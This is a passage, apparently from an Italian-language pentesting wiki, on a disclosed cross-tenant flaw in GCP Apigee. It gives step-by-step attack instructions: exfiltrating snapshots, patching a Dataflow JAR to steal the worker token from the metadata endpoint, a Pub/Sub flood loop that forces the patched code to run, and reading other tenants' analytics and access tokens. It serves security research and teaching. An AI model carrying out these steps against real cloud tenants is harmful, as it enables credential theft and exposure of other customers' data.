gcloud compute disks list --project <tenant-project>
```
### Esfiltrazione di snapshot per servizi gestiti opachi
Con diritti su disk/snapshot puoi ispezionare i managed runtimes offline anche se non puoi accedere al tenant project:
1. Crea uno snapshot di un target disk nel tenant project.
2. Copia/migra lo snapshot nel tuo progetto.
3. Ricrea un disk dallo snapshot e attaccalo alla tua VM.
4. Monta e ispeziona logs/config per recuperare nomi di bucket interni, service accounts e opzioni della pipeline.
### Sostituzione delle dipendenze di Dataflow tramite staging bucket scrivibile
- Gli analytics workers scaricavano JAR da un GCS staging bucket all'avvio. Poiché l'Apigee SA aveva write sul bucket, scarica e patcha il JAR (e.g., con Recaf) per chiamare `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` e rubare il **Dataflow worker** token.
- I Dataflow workers non avevano internet egress; esfiltra scrivendo il token in un GCS bucket controllato dall'attaccante usando le in-cluster GCP APIs.
### Forzare l'esecuzione di JAR malevoli abusando dell'autoscaling
I worker esistenti non ricaricheranno gli artefatti sostituiti. Inonda l'input della pipeline per far partire nuovi worker:
```bash
for i in {1..5000}; do
gcloud pubsub topics publish apigee-analytics-notifications \
--message "flood-$i" --project <tenant-project>
done
```
Le istanze appena provisionate scaricano i JAR patchati e leakano il Dataflow SA token.
### Difetto di progettazione del bucket cross-tenant
Il codice Dataflow decompilato mostrava percorsi di cache come `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` sotto un metadata bucket condiviso, senza alcun componente specifico per tenant. Con il Dataflow token puoi leggere/scrivere:
- `tenantToTenantGroup` caches esponendo i nomi project+environment di altri tenant.
- `customFields` and `datastores` folders che contengono analytics per richiesta (inclusi end-user IPs e plaintext access tokens) per tutti i tenant.
- L'accesso in scrittura implica potenziale manomissione/poisoning delle analytics.
## References
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
{{#include ../../../banners/hacktricks-training.md}}